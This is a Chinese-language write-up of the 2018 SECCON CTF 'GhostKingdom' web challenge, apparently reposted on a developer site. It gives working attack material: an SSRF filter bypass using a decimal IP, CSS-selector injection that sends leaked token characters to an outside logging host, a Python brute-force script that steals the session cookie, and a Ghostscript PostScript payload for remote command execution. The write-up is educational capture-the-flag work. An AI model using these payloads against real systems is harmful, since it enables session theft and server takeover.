2018 SECCON CTF—GhostKingdom Writeup

栏目: CSS · 发布时间: 5年前

内容简介:SECCON CTF的这WEB题比较有趣,结合了CSS注入和GhostScript的RCE,都是比较新的东西,现将过程整理和记录作为分享和总结:登录的用户提供了两个功能,分别是给管理员留言,以及远程访问一个URL并将访问页面截图返回

2018 SECCON CTF—GhostKingdom Writeup

SECCON CTF的这WEB题比较有趣,结合了CSS注入和GhostScript的RCE,都是比较新的东西,现将过程整理和记录作为分享和总结:

0x01 探索功能与初步思路

访问题目,首先是提示了FLAG所在路径就是./FLAG/

2018 SECCON CTF—GhostKingdom Writeup

点击进入TOP后,进入到一个登录页面,具有基础的登录和注册功能

2018 SECCON CTF—GhostKingdom Writeup

经过测试,登录和注册功能不存在 SQL 注入,于是尝试注册账号并且登录,登录后页面内容如下:

2018 SECCON CTF—GhostKingdom Writeup

登录的用户提供了两个功能,分别是给管理员留言,以及远程访问一个URL并将访问页面截图返回

上传图片功能被限制,提示是:

Only for users logged in from the local network

1 留言功能页面(自定义CSS)

2018 SECCON CTF—GhostKingdom Writeup

留言选择 Emergency 时,进入预览页面后如下所示,其中有个 css 参数是base64编码过的,比较引人注意:

2018 SECCON CTF—GhostKingdom Writeup

将base64解码后可以看到,是一段CSS代码,并且内容出现在HTML页面中,这是一个重要的点!意味着可能存在XSS

&css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9
解码后:span{background-color:red;color:yellow}

2018 SECCON CTF—GhostKingdom Writeup

尝试插入其他内容打XSS,如JS标签,但是输出点对内容进行了实体化编码,无法绕过

应该是只能通过CSS做些事情了!

2018 SECCON CTF—GhostKingdom Writeup

2 访问提交的URL并反馈截图的页面(SSRF)

2018 SECCON CTF—GhostKingdom Writeup

以www.baidu.com为例,测试返回结果,返回了访问百度页面的截图

2018 SECCON CTF—GhostKingdom Writeup

测试访问CEYE,查看访问记录

2018 SECCON CTF—GhostKingdom Writeup

3 上传图片功能被限制

这里存在的上传图片功能是未开启的,提示需要从本地网络登录的用户才能使用,首先尝试了使用XXF(X-Forwarded-For)等伪造头进行绕过,但是不能成功

自然地,想到了上面第2点提到的存在SSRF,是否能够通过第2点的功能来从本地登录呢?查看用户登录页面的请求,果然是GET形式的,这样就方便通过第2点功能来SSRF从本地登录用户了

2018 SECCON CTF—GhostKingdom Writeup

不过,如果在URL中存在如 127、local 等会被拦截

2018 SECCON CTF—GhostKingdom Writeup

这里可以使用数字IP地址进行绕过

http://2130706433/?user=yunsle&pass=123456&action=login&action=sshot2

2018 SECCON CTF—GhostKingdom Writeup

返回的截图中,可以看到成功了,图片上传的功能是正常开启的,但是通过截图是看不到图片上传的URL的,接下来怎么样才能获取到图片上传功能的URL成为了关键点

2018 SECCON CTF—GhostKingdom Writeup

0x02 CSS注入-爆破CSRF Token

到这里陷入了僵局,似乎SSRF已经不能做到更多了,但是却指引了思路

从功能来看,现在只有之前挖掘的CSS任意注入还没有发挥作用。如果能够在刚刚的页面上,配合SSRF和XSS,能够轻松获得服务器端以本地身份登录的用户的COOKIE,这样可能可以直接伪造凭证登录,看到上传图片的功能。

但是这里似乎XSS行不通,怎么样才能利用上呢?

尝试了在CSS中执行javascript,如

background: url(javascript:alert(1))

但是并不能执行js代码(存在疑惑),到这里,只能完全放弃使用js的想法,开始寻找用CSS来打COOKIE的可能。。。

这时,有个细节引起了注意,在CSS样式存在问题的页面,用于防范CSRF的input标签的value值,和SESSION的COOKIE值是一样的

2018 SECCON CTF—GhostKingdom Writeup

那么,如果获取到这个input标签的value值,就能拿到COOKIE了!

如何能够通过CSS样式,来获取这个input标签的value值呢?

这里可以参考: https://www.freebuf.com/articles/web/162445.html

主要思路是利用CSS选择器匹配,来发起请求:

input[value^="6703"] {background-image:url("http://mhv3ii.ceye.io/6703");}

我的简陋逐位爆破脚本,配合CEYE一起看(耗时比较久!):

import base64
import requests
import time

url = "http://ghostkingdom.pwn.seccon.jp/?url="

cookie = {
    "CGISESSID":"db579456a3a04ae86d19aa"
}

for c in range(48,59):
    print(chr(c))
    css = "span{color:yellow} input[value^='fea743ebc7b8ac35bde12a"+chr(c)+"'] {background-image:url('http://mhv3ii.ceye.io/fea743ebc7b8ac35bde12a"+chr(c)+"');}"
    css_b64 = base64.b64encode(css)
    r_url = "http%3A%2F%2F2130706433%2F%3Fcss%3D" + css_b64 + "%26msg%3D%26action%3Dmsgadm2&action=sshot2"
    res = requests.get(url=url+r_url, cookies=cookie)
    print(css_b64)
    print(res.content)
    time.sleep(30)

for c in range(97,127):
    print(chr(c))
    css = "span{color:yellow} input[value^='fea743ebc7b8ac35bde12a"+chr(c)+"'] {background-image:url('http://mhv3ii.ceye.io/fea743ebc7b8ac35bde12a"+chr(c)+"');}"
    css_b64 = base64.b64encode(css)
    r_url = "http%3A%2F%2F2130706433%2F%3Fcss%3D" + css_b64 + "%26msg%3D%26action%3Dmsgadm2&action=sshot2"
    res = requests.get(url=url+r_url, cookies=cookie)
    print(css_b64)
    print(res.content)
    time.sleep(30)

2018 SECCON CTF—GhostKingdom Writeup

最终拿到了COOKIE,并且伪造该COOKIE成功登陆:

2018 SECCON CTF—GhostKingdom Writeup

0x03 GhostScript的RCE漏洞

图片上传功能提示上传Jpeg图片文件

2018 SECCON CTF—GhostKingdom Writeup

上传后存在一个将该Jpeg文件转为Gif文件的功能,查看转换的URL:

http://ghostkingdom.pwn.seccon.jp/ghostMagick.cgi?action=convert

其中 ghostMagick.cgi 引起了注意,正好查看最近的GhostScript存在一个RCE漏洞

可以参考: https://www.anquanke.com/post/id/157380

构造利用的Jpeg文件,通过 ls ./FLAG 查看FLAG目录:

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%ls FLAG) currentdevice putdeviceprops

2018 SECCON CTF—GhostKingdom Writeup

RCE成功返回执行结果,访问FLAG路径下的FLAGflagF1A8.txt即可拿到flag

2018 SECCON CTF—GhostKingdom Writeup

0x04 Reference


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

大数据时代的算法:机器学习、人工智能及其典型实例

大数据时代的算法:机器学习、人工智能及其典型实例

刘凡平 / 电子工业出版社 / 2017-1 / 49

《大数据时代的算法:机器学习、人工智能及其典型实例》介绍在互联网行业中经常涉及的算法,包括排序算法、查找算法、资源分配算法、路径分析算法、相似度分析算法,以及与机器学习相关的算法,包括数据分类算法、聚类算法、预测与估算算法、决策算法、关联规则分析算法及推荐算法。《大数据时代的算法:机器学习、人工智能及其典型实例》涉及的相关算法均为解决实际问题中的主流算法,对于工作和学习都有实际参考意义。 《......一起来看看 《大数据时代的算法:机器学习、人工智能及其典型实例》 这本书的介绍吧!

URL 编码/解码
URL 编码/解码

URL 编码/解码

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具